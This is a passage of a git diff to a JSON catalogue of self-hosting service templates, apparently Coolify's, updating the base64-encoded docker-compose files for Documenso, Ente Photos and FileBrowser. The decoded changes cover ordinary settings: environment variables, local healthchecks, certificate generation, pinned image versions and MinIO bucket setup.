AgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", + "compose": "c2VydmljZXM6CiAgZG9jdW1lbnNvOgogICAgaW1hZ2U6ICdkb2N1bWVuc28vZG9jdW1lbnNvOnYxLjEyLjEwJwogICAgZGVwZW5kc19vbjoKICAgICAgZGF0YWJhc2U6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0RPQ1VNRU5TT18zMDAwCiAgICAgIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0RPQ1VNRU5TT30nCiAgICAgIC0gJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X0FVVEhTRUNSRVR9JwogICAgICAtICdORVhUX1BSSVZBVEVfRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX0JBU0U2NF9FTkNSWVBUSU9OS0VZfScKICAgICAgLSAnTkVYVF9QUklWQVRFX0VOQ1JZUFRJT05fU0VDT05EQVJZX0tFWT0ke1NFUlZJQ0VfQkFTRTY0X1NFQ09OREFSWUVOQ1JZUFRJT05LRVl9JwogICAgICAtICdORVhUX1BVQkxJQ19XRUJBUFBfVVJMPSR7U0VSVklDRV9VUkxfRE9DVU1FTlNPfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1JFU0VORF9BUElfS0VZPSR7TkVYVF9QUklWQVRFX1JFU0VORF9BUElfS0VZfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1NNVFBfVFJBTlNQT1JUPSR7TkVYVF9QUklWQVRFX1NNVFBfVFJBTlNQT1JUfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1NNVFBfSE9TVD0ke05FWFRfUFJJVkFURV9TTVRQX0hPU1R9JwogICAgICAtICdORVhUX1BSSVZBVEVfU01UUF9QT1JUPSR7TkVYVF9QUklWQVRFX1NNVFBfUE9SVH0nCiAgICAgIC0gJ05FWFRfUFJJVkFURV9TTVRQX1VTRVJOQU1FPSR7TkVYVF9QUklWQVRFX1NNVFBfVVNFUk5BTUV9JwogICAgICAtICdORVhUX1BSSVZBVEVfU01UUF9QQVNTV09SRD0ke05FWFRfUFJJVkFURV9TTVRQX1BBU1NXT1JEfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1NNVFBfRlJPTV9OQU1FPSR7TkVYVF9QUklWQVRFX1NNVFBfRlJPTV9OQU1FfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1NNVFBfRlJPTV9BRERSRVNTPSR7TkVYVF9QUklWQVRFX1NNVFBfRlJPTV9BRERSRVNTfScKICAgICAgLSAnTkVYVF9QUklWQVRFX0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AZGF0YWJhc2UvJHtQT1NUR1JFU19EQjotZG9jdW1lbnNvLWRifT9zY2hlbWE9cHVibGljJwogICAgICAtICdORVhUX1BSSVZBVEVfRElSRUNUX0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AZGF0YWJhc2UvJHtQT1NUR1JFU19EQjotZG9jdW1lbnNvLWRifT9zY2hlbWE9cHVibGljJwogICAgICAtIE5FWFRfUFJJVkFURV9TSUdOSU5HX0xPQ0FMX0ZJTEVfUEFUSD0vYXBwL2FwcHMvcmVtaXgvY2VydHMvY2VydGlmaWNhdGUucDEyCiAgICAgIC0gJ05FWFRfUFJJVkFURV9TSUdOSU5HX1BBU1NQSFJBU0U9JHtTRVJWSUNFX1BBU1NXT1JEX0RPQ1VNRU5TT30nCiAgICAgIC0gJ0NFUlRfVkFMSURfREFZUz0ke0NFUlRfVkFMSURfREFZUzotMzY1fScKICAgICAgLSAnQ0VSVF9JTkZPX0NPVU5UUllfTkFNRT0ke0NFUlRfSU5GT19DT1VOVFJZX05BTUU6LURPfScKICAgICAgLSAnQ0VSVF9JTkZPX1NUQVRFX09SX1BST1ZJREVOQ0U9JHtDRVJUX0lORk9fU1RBVEVfT1JfUFJPVklERU5DRTotU2FudGlhZ299JwogICAgICAtICdDRVJUX0lORk9fTE9DQUxJVFlfTkFNRT0ke0NFUlRfSU5GT19MT0NBTElUWV9OQU1FOi1TYW50aWFnb30nCiAgICAgIC0gJ0NFUlRfSU5GT19PUkdBTklaQVRJT05fTkFNRT0ke0NFUlRfSU5GT19PUkdBTklaQVRJT05fTkFNRTotRXhhbXBsZSBJTkN9JwogICAgICAtICdDRVJUX0lORk9fT1JHQU5JWkFUSU9OQUxfVU5JVD0ke0NFUlRfSU5GT19PUkdBTklaQVRJT05BTF9VTklUOi1JVCBEZXBhcnRtZW50fScKICAgICAgLSAnQ0VSVF9JTkZPX0VNQUlMPSR7Q0VSVF9JTkZPX0VNQUlMOi1leGFtcGxlQGdtYWlsLmNvbX0nCiAgICAgIC0gJ05FWFRfUFVCTElDX0RJU0FCTEVfU0lHTlVQPSR7RElTQUJMRV9MT0dJTjotZmFsc2V9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICJ3Z2V0IC1xIC1PIC0gaHR0cDovL2RvY3VtZW5zbzozMDAwLyB8IGdyZXAgLXEgJ1NpZ24gaW4gdG8geW91ciBhY2NvdW50JyIKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAyMAogICAgZW50cnlwb2ludDoKICAgICAgLSAvYmluL3NoCiAgICAgIC0gJy1jJwogICAgICAtICJlY2hvIFwiLi9jZXJ0c1wiID4gL3RtcC9jZXJ0c19kaXJfcGF0aFxuZWNobyBcIi4vbWFrZS1jZXJ0cy5zaFwiID4gL3RtcC9jZXJ0X3NjcmlwdF9wYXRoXG5lY2hvIFwiJHtTRVJWSUNFX1BBU1NXT1JEX0RPQ1VNRU5TT31cIiA+IC90bXAvY2VydF9wYXNzXG5cbnRvdWNoIC90bXAvY2VydF9pbmZvX3BhdGhcbmNhdCA8PEVPRiA+IC90bXAvY2VydF9pbmZvX3BhdGhcblsgcmVxIF1cbmRpc3Rpbmd1aXNoZWRfbmFtZSA9IHJlcV9kaXN0aW5ndWlzaGVkX25hbWVcbnByb21wdCA9IG5vXG5bIHJlcV9kaXN0aW5ndWlzaGVkX25hbWUgXVxuQyAgICAgICAgICAgID0gJHtDRVJUX0lORk9fQ09VTlRSWV9OQU1FfVxuU1QgICAgICAgICAgID0gJHtDRVJUX0lORk9fU1RBVEVfT1JfUFJPVklERU5DRX1cbkwgICAgICAgICAgICA9ICR7Q0VSVF9JTkZPX0xPQ0FMSVRZX05BTUV9XG5PICAgICAgICAgICAgPSAke0NFUlRfSU5GT19PUkdBTklaQVRJT05fTkFNRX1cbk9VICAgICAgICAgICA9ICR7Q0VSVF9JTkZPX09SR0FOSVpBVElPTkFMX1VOSVR9XG5DTiAgICAgICAgICAgPSAke1NFUlZJQ0VfVVJMX0RPQ1VNRU5TT31cbmVtYWlsQWRkcmVzcyA9ICR7Q0VSVF9JTkZPX0VNQUlMfVxuRU9GXG5cbmNhdCA8PEVPRiA+IFwiJChjYXQgL3RtcC9jZXJ0X3NjcmlwdF9wYXRoKVwiXG5ta2RpciAtcCBcIiQoY2F0IC90bXAvY2VydHNfZGlyX3BhdGgpXCIgJiYgY2QgXCIkKGNhdCAvdG1wL2NlcnRzX2Rpcl9wYXRoKVwiXG5cbm9wZW5zc2wgZ2VucnNhIC1vdXQgcHJpdmF0ZS5rZXkgMjA0OFxuXG5vcGVuc3NsIHJlcSBcXFxuICAtbmV3IFxcXG4gIC14NTA5IFxcXG4gIC1rZXkgcHJpdmF0ZS5rZXkgXFxcbiAgLW91dCBjZXJ0aWZpY2F0ZS5jcnQgXFxcbiAgLWRheXMgJHtDRVJUX1ZBTElEX0RBWVN9IFxcXG4gIC1jb25maWcgL3RtcC9jZXJ0X2luZm9fcGF0aFxuXG5vcGVuc3NsIHBrY3MxMiBcXFxuICAtZXhwb3J0IFxcXG4gIC1vdXQgY2VydGlmaWNhdGUucDEyIFxcXG4gIC1pbmtleSBwcml2YXRlLmtleSBcXFxuICAtaW4gY2VydGlmaWNhdGUuY3J0IFxcXG4gIC1sZWdhY3kgXFxcbiAgLXBhc3N3b3JkIGZpbGU6L3RtcC9jZXJ0X3Bhc3NcbkVPRlxuY2htb2QgK3ggXCIkKGNhdCAvdG1wL2NlcnRfc2NyaXB0X3BhdGgpXCJcblxuc2ggXCIkKGNhdCAvdG1wL2NlcnRfc2NyaXB0X3BhdGgpXCJcblxuLi9zdGFydC5zaFxuIgogIGRhdGFiYXNlOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNycKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotZG9jdW1lbnNvLWRifScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RvY3VtZW5zb19wb3N0Z3Jlc3FsX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "signing", "opensource", @@ -973,7 +973,7 @@ "ente-photos-with-s3": { "documentation": "https://help.ente.io/self-hosting/installation/compose?utm_source=coolify.io", "slogan": "Ente Photos is a fully open source, End to End Encrypted alternative to Google Photos and Apple Photos.", - "compose": "c2VydmljZXM6CiAgbXVzZXVtOgogICAgaW1hZ2U6ICdnaGNyLmlvL2VudGUtaW8vc2VydmVyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX01VU0VVTV84MDgwCiAgICAgIC0gJ0VOVEVfSFRUUF9VU0VfVExTPSR7RU5URV9IVFRQX1VTRV9UTFM6LWZhbHNlfScKICAgICAgLSAnRU5URV9BUFBTX1BVQkxJQ19BTEJVTVM9JHtTRVJWSUNFX1VSTF9XRUJfMzAwMn0nCiAgICAgIC0gJ0VOVEVfQVBQU19DQVNUPSR7U0VSVklDRV9VUkxfV0VCXzMwMDR9JwogICAgICAtICdFTlRFX0FQUFNfQUNDT1VOVFM9JHtTRVJWSUNFX1VSTF9XRUJfMzAwMX0nCiAgICAgIC0gJ0VOVEVfREJfSE9TVD0ke0VOVEVfREJfSE9TVDotcG9zdGdyZXN9JwogICAgICAtICdFTlRFX0RCX1BPUlQ9JHtFTlRFX0RCX1BPUlQ6LTU0MzJ9JwogICAgICAtICdFTlRFX0RCX05BTUU9JHtFTlRFX0RCX05BTUU6LWVudGVfZGJ9JwogICAgICAtICdFTlRFX0RCX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVM6LXBndXNlcn0nCiAgICAgIC0gJ0VOVEVfREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnRU5URV9LRVlfRU5DUllQVElPTj0ke1NFUlZJQ0VfUkVBTEJBU0U2NF9FTkNSWVBUSU9OfScKICAgICAgLSAnRU5URV9LRVlfSEFTSD0ke1NFUlZJQ0VfUkVBTEJBU0U2NF82NF9IQVNIfScKICAgICAgLSAnRU5URV9KV1RfU0VDUkVUPSR7U0VSVklDRV9SRUFMQkFTRTY0X0pXVH0nCiAgICAgIC0gJ0VOVEVfSU5URVJOQUxfQURNSU49JHtFTlRFX0lOVEVSTkFMX0FETUlOOi0xNTgwNTU5OTYyMzg2NDM4fScKICAgICAgLSAnRU5URV9JTlRFUk5BTF9ESVNBQkxFX1JFR0lTVFJBVElPTj0ke0VOVEVfSU5URVJOQUxfRElTQUJMRV9SRUdJU1RSQVRJT046LWZhbHNlfScKICAgICAgLSBTM19BUkVfTE9DQUxfQlVDS0VUUz10cnVlCiAgICAgIC0gUzNfVVNFX1BBVEhfU1RZTEVfVVJMUz10cnVlCiAgICAgIC0gJ1MzX0IyX0VVX0NFTl9LRVk9JHtTRVJWSUNFX1VTRVJfTUlOSU99JwogICAgICAtICdTM19CMl9FVV9DRU5fU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9NSU5JT30nCiAgICAgIC0gJ1MzX0IyX0VVX0NFTl9FTkRQT0lOVD0ke1NFUlZJQ0VfVVJMX01JTklPXzMyMDB9JwogICAgICAtIFMzX0IyX0VVX0NFTl9SRUdJT049ZXUtY2VudHJhbC0yCiAgICAgIC0gUzNfQjJfRVVfQ0VOX0JVQ0tFVD1iMi1ldS1jZW4KICAgIHZvbHVtZXM6CiAgICAgIC0gJ211c2V1bS1kYXRhOi9kYXRhJwogICAgICAtICdtdXNldW0tY29uZmlnOi9jb25maWcnCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBtaW5pbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2Vfc3RhcnRlZAogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODA4MC9waW5nJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICB3ZWI6CiAgICBpbWFnZTogZ2hjci5pby9lbnRlLWlvL3dlYgogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfV0VCXzMwMDAKICAgICAgLSAnRU5URV9BUElfT1JJR0lOPSR7U0VSVklDRV9VUkxfTVVTRVVNfScKICAgICAgLSAnRU5URV9BTEJVTVNfT1JJR0lOPSR7U0VSVklDRV9VUkxfV0VCXzMwMDJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctLWZhaWwnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTozMDAwJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTUtYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1lbnRlX2RifScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICR7UE9TVEdSRVNfVVNFUn0gLWQgJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIG1pbmlvOgogICAgaW1hZ2U6ICdxdWF5LmlvL21pbmlvL21pbmlvOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX01JTklPXzkwMDAKICAgICAgLSAnTUlOSU9fUk9PVF9VU0VSPSR7U0VSVklDRV9VU0VSX01JTklPfScKICAgICAgLSAnTUlOSU9fUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTUlOSU99JwogICAgY29tbWFuZDogJ3NlcnZlciAvZGF0YSAtLWFkZHJlc3MgIjo5MDAwIiAtLWNvbnNvbGUtYWRkcmVzcyAiOjkwMDEiJwogICAgdm9sdW1lczoKICAgICAgLSAnbWluaW8tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBtYwogICAgICAgIC0gcmVhZHkKICAgICAgICAtIGxvY2FsCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBtaW5pby1pbml0OgogICAgaW1hZ2U6ICdtaW5pby9tYzpsYXRlc3QnCiAgICBleGNsdWRlX2Zyb21faGM6IHRydWUKICAgIHJlc3RhcnQ6ICdubycKICAgIGRlcGVuZHNfb246CiAgICAgIG1pbmlvOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTUlOSU9fUk9PVF9VU0VSPSR7U0VSVklDRV9VU0VSX01JTklPfScKICAgICAgLSAnTUlOSU9fUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTUlOSU99JwogICAgZW50cnlwb2ludDogIi9iaW4vc2ggLWMgXCIgbWMgYWxpYXMgc2V0IG1pbmlvIGh0dHA6Ly9taW5pbzo5MDAwICQke01JTklPX1JPT1RfVVNFUn0gJCR7TUlOSU9fUk9PVF9QQVNTV09SRH07IG1jIG1iIG1pbmlvL2IyLWV1LWNlbiAtLWlnbm9yZS1leGlzdGluZzsgbWMgbWIgbWluaW8vd2FzYWJpLWV1LWNlbnRyYWwtMi12MyAtLWlnbm9yZS1leGlzdGluZzsgbWMgbWIgbWluaW8vc2N3LWV1LWZyLXYzIC0taWdub3JlLWV4aXN0aW5nOyBlY2hvICdNaW5JTyBidWNrZXRzIGNyZWF0ZWQgc3VjY2Vzc2Z1bGx5JzsgXCJcbiIK", + "compose": "c2VydmljZXM6CiAgbXVzZXVtOgogICAgaW1hZ2U6ICdnaGNyLmlvL2VudGUtaW8vc2VydmVyOjYxM2M2YTk2MzkwZDdhNjI0Y2YzMGI5NDY5NTU3MDVkNjMyNDIzY2MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9NVVNFVU1fODA4MAogICAgICAtIEVOVEVfREJfSE9TVD1wb3N0Z3JlcwogICAgICAtIEVOVEVfREJfUE9SVD01NDMyCiAgICAgIC0gJ0VOVEVfREJfTkFNRT0ke1BPU1RHUkVTX0RCOi1lbnRlX2RifScKICAgICAgLSAnRU5URV9EQl9VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnRU5URV9EQl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdFTlRFX0hUVFBfVVNFX1RMUz0ke0VOVEVfSFRUUF9VU0VfVExTOi1mYWxzZX0nCiAgICAgIC0gRU5URV9TM19BUkVfTE9DQUxfQlVDS0VUUz1mYWxzZQogICAgICAtIEVOVEVfUzNfVVNFX1BBVEhfU1RZTEVfVVJMUz10cnVlCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX0tFWT0ke1NFUlZJQ0VfVVNFUl9NSU5JT30nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfTUlOSU99JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9FTkRQT0lOVD0ke1NFUlZJQ0VfRlFETl9NSU5JT185MDAwfScKICAgICAgLSBFTlRFX1MzX0IyX0VVX0NFTl9SRUdJT049ZXUtY2VudHJhbC0yCiAgICAgIC0gRU5URV9TM19CMl9FVV9DRU5fQlVDS0VUPWIyLWV1LWNlbgogICAgICAtICdFTlRFX0tFWV9FTkNSWVBUSU9OPSR7U0VSVklDRV9SRUFMQkFTRTY0X0VOQ1JZUFRJT059JwogICAgICAtICdFTlRFX0tFWV9IQVNIPSR7U0VSVklDRV9SRUFMQkFTRTY0XzY0X0hBU0h9JwogICAgICAtICdFTlRFX0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1JFQUxCQVNFNjRfSldUfScKICAgICAgLSAnRU5URV9JTlRFUk5BTF9BRE1JTj0ke0VOVEVfSU5URVJOQUxfQURNSU46LTE1ODA1NTk5NjIzODY0Mzh9JwogICAgICAtICdFTlRFX0lOVEVSTkFMX0RJU0FCTEVfUkVHSVNUUkFUSU9OPSR7RU5URV9JTlRFUk5BTF9ESVNBQkxFX1JFR0lTVFJBVElPTjotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnbXVzZXVtLWRhdGE6L2RhdGEnCiAgICAgIC0gJ211c2V1bS1jb25maWc6L2NvbmZpZycKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIG1pbmlvOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9zdGFydGVkCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy0tc3BpZGVyJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODA4MC9waW5nJwogICAgICBpbnRlcnZhbDogMzBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAzCiAgd2ViOgogICAgaW1hZ2U6ICdnaGNyLmlvL2VudGUtaW8vd2ViOmNhMDMxNjVmNWU3ZjJhNTAxMDVlNmU0MDAxOWMxN2FlNmNkZDkzNGYnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9XRUJfMzAwMAogICAgICAtICdFTlRFX0FQSV9PUklHSU49JHtTRVJWSUNFX1VSTF9NVVNFVU19JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctLWZhaWwnCiAgICAgICAgLSAnaHR0cDovL2xvY2FsaG9zdDozMDAwJwogICAgICBpbnRlcnZhbDogMzBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAzCiAgICAgIHN0YXJ0X3BlcmlvZDogMTBzCiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE1LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotZW50ZV9kYn0nCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30gLWQgJHtQT1NUR1JFU19EQjotZW50ZV9kYn0nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogNQogIG1pbmlvOgogICAgaW1hZ2U6ICdxdWF5LmlvL21pbmlvL21pbmlvOlJFTEVBU0UuMjAyNS0wOS0wN1QxNi0xMy0wOVonCiAgICBjb21tYW5kOiAnc2VydmVyIC9kYXRhIC0tY29uc29sZS1hZGRyZXNzICI6OTAwMSInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBNSU5JT19TRVJWRVJfVVJMPSRNSU5JT19TRVJWRVJfVVJMCiAgICAgIC0gTUlOSU9fQlJPV1NFUl9SRURJUkVDVF9VUkw9JE1JTklPX0JST1dTRVJfUkVESVJFQ1RfVVJMCiAgICAgIC0gTUlOSU9fUk9PVF9VU0VSPSRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgLSBNSU5JT19ST09UX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICB2b2x1bWVzOgogICAgICAtICdtaW5pby1kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG1jCiAgICAgICAgLSByZWFkeQogICAgICAgIC0gbG9jYWwKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG1pbmlvLWluaXQ6CiAgICBpbWFnZTogJ21pbmlvL21jOlJFTEVBU0UuMjAyNS0wOC0xM1QwOC0zNS00MVonCiAgICBkZXBlbmRzX29uOgogICAgICBtaW5pbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2Vfc3RhcnRlZAogICAgcmVzdGFydDogb24tZmFpbHVyZQogICAgZXhjbHVkZV9mcm9tX2hjOiB0cnVlCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTUlOSU9fUk9PVF9VU0VSPSR7U0VSVklDRV9VU0VSX01JTklPfScKICAgICAgLSAnTUlOSU9fUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTUlOSU99JwogICAgICAtICdNSU5JT19DT1JTX1VSTFM9JFNFUlZJQ0VfVVJMX01VU0VVTSwkU0VSVklDRV9VUkxfV0VCJwogICAgZW50cnlwb2ludDogIi9iaW4vc2ggLWMgXCJcbiAgZWNobyBcXFwiTUlOSU9fQ09SU19VUkxTOiBcXCQke01JTklPX0NPUlNfVVJMU31cXFwiO1xuICBzbGVlcCA1O1xuICB1bnRpbCBtYyBhbGlhcyBzZXQgbWluaW8gaHR0cDovL21pbmlvOjkwMDAgXFwkJHtNSU5JT19ST09UX1VTRVJ9IFxcJCR7TUlOSU9fUk9PVF9QQVNTV09SRH07IGRvXG4gICAgZWNobyAnV2FpdGluZyBmb3IgTWluSU8uLi4nO1xuICAgIHNsZWVwIDI7XG4gIGRvbmU7XG4gIG1jIGFkbWluIGNvbmZpZyBzZXQgbWluaW8gYXBpIGNvcnNfYWxsb3dfb3JpZ2luPSckTUlOSU9fQ09SU19VUkxTJyB8fCB0cnVlO1xuICBtYyBtYiBtaW5pby9iMi1ldS1jZW4gLS1pZ25vcmUtZXhpc3Rpbmc7XG4gIG1jIG1iIG1pbmlvL3dhc2FiaS1ldS1jZW50cmFsLTItdjMgLS1pZ25vcmUtZXhpc3Rpbmc7XG4gIG1jIG1iIG1pbmlvL3Njdy1ldS1mci12MyAtLWlnbm9yZS1leGlzdGluZztcbiAgZWNobyAnTWluSU8gYnVja2V0cyBhbmQgQ09SUyBjb25maWd1cmVkJztcblwiIgo=", "tags": [ "photos", "gallery", @@ -1072,7 +1072,7 @@ "filebrowser": { "documentation": "https://filebrowser.org?utm_source=coolify.io", "slogan": "FileBrowser is a web-based file manager and file explorer with a user-friendly interface.", - "compose": "c2VydmljZXM6CiAgZmlsZWJyb3dzZXI6CiAgICBpbWFnZTogJ2ZpbGVicm93c2VyL2ZpbGVicm93c2VyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0ZJTEVCUk9XU0VSXzgwCiAgICB2b2x1bWVzOgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9zcnYKICAgICAgICB0YXJnZXQ6IC9zcnYKICAgICAgICBpc0RpcmVjdG9yeTogdHJ1ZQogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9kYXRhYmFzZS5kYgogICAgICAgIHRhcmdldDogL2RhdGFiYXNlLmRiCiAgICAgICAgaXNEaXJlY3Rvcnk6IGZhbHNlCiAgICAgICAgY29udGVudDogJycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZmlsZWJyb3dzZXIuanNvbgogICAgICAgIHRhcmdldDogLy5maWxlYnJvd3Nlci5qc29uCiAgICAgICAgcmVhZF9vbmx5OiB0cnVlCiAgICAgICAgY29udGVudDogIntcbiAgXCJhZGRyZXNzXCI6IFwiMC4wLjAuMFwiLFxuICBcInBvcnRcIjogODBcbn0iCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUK", + "compose": 